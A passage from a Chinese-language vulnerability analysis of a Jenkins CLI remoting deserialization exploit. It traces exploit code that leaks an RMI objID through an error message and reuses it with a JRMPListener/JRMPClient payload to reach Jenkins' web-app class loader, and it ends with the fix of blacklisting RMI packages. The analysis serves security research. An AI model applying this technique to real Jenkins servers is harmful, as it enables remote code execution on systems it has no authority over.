}
} catch (InvocationTargetException var8) {
throw var8.getTargetException();
}
}
通过 choose 获取反射函数:
private Method choose(Class[] interfaces) {
Class[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
Class clazz = arr$[i$];
Method[] arr$ = clazz.getMethods();
int len$ = arr$.length;
label38:
for(int i$ = 0; i$ < len$; ++i$) {
Method m = arr$[i$];
if (m.getName().equals(this.methodName)) {
Class<?>[] paramTypes = m.getParameterTypes();
if (paramTypes.length == this.arguments.length) {
for(int i = 0; i < this.types.length; ++i) {
if (!this.types[i].equals(paramTypes[i].getName())) {
continue label38;
}
}
return m;
}
}
}
}
return null;
}
可以看出反射函数来自反射主体所继承的接口,并且要与函数名、参数等数据吻合。
然后就是一个显眼的反射操作,oid、method 都是可以可控制的,需要看一下的就是 channel.getExportedObject(作为反射的主体)和 channel.getExportedTypes(用于获取执行反射操作的函数)获取到的结果,经过调试可以发现,exportedObjects 表中只有一个成员,channel 自身。然后则会调用该 channel 的 getProperty 函数,参数为 JarLoader.ours,同样通过调试可以看到 properties 属性的值:
{hudson.cli.CliEntryPoint=hudson.cli.CliManagerImpl@405894b7, hudson.remoting.JarLoader.ours=hudson.remoting.JarLoaderImpl@44671864}
所以这一步获取到的实际上是一个 JarLoaderImpl 对象,然后生成 Response:
return new UserResponse(this.serialize(r, channel), false);
并写入响应:
channel.send(rsp);
在序列化 JarLoaderImpl 对象的时候,会触发其 writeReplace 函数:
private Object writeReplace() {
return Channel.current().export(JarLoader.class, this);
}
调用 channel 的 export 函数将自身放入其 exportedObjects 表中,所以下次交互进行到 perform 函数中的反射时,可以使用 JarLoaderImpl 作为反射主体。
经过处理后,最终返回的是一个 Proxy 对象,其 invocationhandler 中存放着 JarLoaderImpl 对象的 oid(用于表示远程对象的一个数字),调试可得其为 2。
然后进入第二步:
Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort));
Class<?> reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest");
Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass);
try {
c.call((Callable<?, ?>) o);
}
生成一段 JRMPListener payload,然后调用 makeIsPresentOnRemoteCallable:
private static Object makeIsPresentOnRemoteCallable ( int oid, Object uro, Class<?> reqClass )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException {
Constructor<?> reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class);
Reflections.setAccessible(reqCons);
return reqCons
.newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[] {
uro,
});
}
可以看到生成的同样是一个 RPCRequest 类,这次其 oid 为 2,methodName 为 isPresentOnRemote,arguments 为 JRMPListener payload。这样来到 perform 函数时,就是在 JarLoaderImpl 对象上调用其接口 JarLoader 的 isPresentOnRemote 函数,但是这里有个问题,JarLoader 接口的 isPresentOnRemote 函数是一个抽象函数:
boolean isPresentOnRemote(Checksum var1);
于是就会报错并抛出异常:
throw new RemotingSystemException("failed to invoke " + m + " on " + o + Arrays.toString(this.arguments), var7);
而上一层则会捕捉异常并将其作为响应:
catch (Throwable var18) {
rsp = new Response(Request.this.id, this.calcLastIoId(), var18);
}
观察报错信息:
failed to invoke public abstract boolean hudson.remoting.JarLoader.isPresentOnRemote(hudson.remoting.Checksum) on hudson.remoting.JarLoaderImpl@2cae1e9d[ActivationGroupImpl[UnicastServerRef [liveRef: [endpoint:[172.17.0.2:12345](local),objID:[6c817df0:175f8bef343:-7ffd, 937379779203472170]]]]]
报错会打印出 arguments,也就是 JRMPListener payload,这是一个 ActivationGroupImpl -> UnicastServerRef -> LiveRef 的对象,而在报错打印数据时调用的 LiveRef 的 toString 函数中:
public String toString() {
String var1;
if (this.isLocal) {
var1 = "local";
} else {
var1 = "remote";
}
return "[endpoint:" + this.ep + "(" + var1 + ")," + "objID:" + this.id + "]";
}
会将其中的 objID 打印出来。
接下来就是最后一步了:
try {
c.call((Callable<?, ?>) o);
}
catch ( Exception e ) {
// [ActivationGroupImpl[UnicastServerRef [liveRef:
// [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1,
// -9046794842107247609]]
System.err.println(e.getMessage());
parseObjIdAndExploit(args, payloadClass, jrmpPort, isa, e);
}
执行第二步操作并捕捉前面提到的因为调用了抽象函数抛出的异常,然后调用 parseObjIdAndExploit,解析报错信息中的 objID,然后调用 exploit,可以看到 exploit 部分其实跟 JRMPClient 差别不大,不同的地方就在于写入了前面解析出来的 objID,而不是默认的 2。
跟踪一下 JRMPListener 的反序列化过程,看到 Transport 类的 serviceCall 函数:
public boolean serviceCall(final RemoteCall var1) {
try {
ObjID var39;
try {
var39 = ObjID.read(var1.getInputStream());
} catch (IOException var33) {
throw new MarshalException("unable to read objID", var33);
}
Transport var40 = var39.equals(dgcID) ? null : this;
Target var5 = ObjectTable.getTarget(new ObjectEndpoint(var39, var40));
final Remote var37;
if (var5 != null && (var37 = var5.getImpl()) != null) {
final Dispatcher var6 = var5.getDispatcher();
var5.incrementCallCount();
boolean var8;
try {
transportLog.log(Log.VERBOSE, "call dispatcher");
final AccessControlContext var7 = var5.getAccessControlContext();
ClassLoader var41 = var5.getContextClassLoader();
ClassLoader var9 = Thread.currentThread().getContextClassLoader();
try {
setContextClassLoader(var41);
currentTransport.set(this);
try {
AccessController.doPrivileged(new PrivilegedExceptionAction<Void>() {
public Void run() throws IOException {
Transport.this.checkAcceptPermission(var7);
var6.dispatch(var37, var1);
return null;
}
}, var7);
return true;
}
...
}
...
}
...
}
...
}
...
}
可以看到,这里反序列化出 ObjID 后,会根据 ObjID 从 ObjectTable 取出 Target 对象,然后再从 Target 对象中取出 ClassLoader 并设置为当前环境下的 classLoader。
而调试可以得知,当使用默认的 objID 时,其 classLoader 为 AppClassLoader,其加载路径为启动命令、系统属性等 classpath,而 Jenkins 的 commons-collections 包是放在 lib 目录下的,也就是说要用 WebAppClassLoader 才能加载到,所以就会因为无法加载类而导致利用失败。
而在 JRMPListener payload 反序列化过程中,会调用 UnicastServerRef 类的 exportObject 函数:
public Remote exportObject(Remote var1, Object var2, boolean var3) throws RemoteException {
Class var4 = var1.getClass();
Remote var5;
try {
var5 = Util.createProxy(var4, this.getClientRef(), this.forceStubUse);
} catch (IllegalArgumentException var7) {
throw new ExportException("remote object implements illegal remote interface", var7);
}
if (var5 instanceof RemoteStub) {
this.setSkeleton(var1);
}
Target var6 = new Target(var1, this, var5, this.ref.getObjID(), var3);
this.ref.exportObject(var6);
this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
return var5;
}
他会生成一个新的 Target,用自身 ref 属性(即 LiveRef)中的 objID 进行标识,并通过 putTarget 将其放入 ObjectTable 中。所以我们通过报错获取 LiveRef 中的 objID 后,就可以通过该 objID 在反序列化时获取相应 Target 中的 WebAppClassLoader。
漏洞修复
将 rmi 相关的包放入黑名单。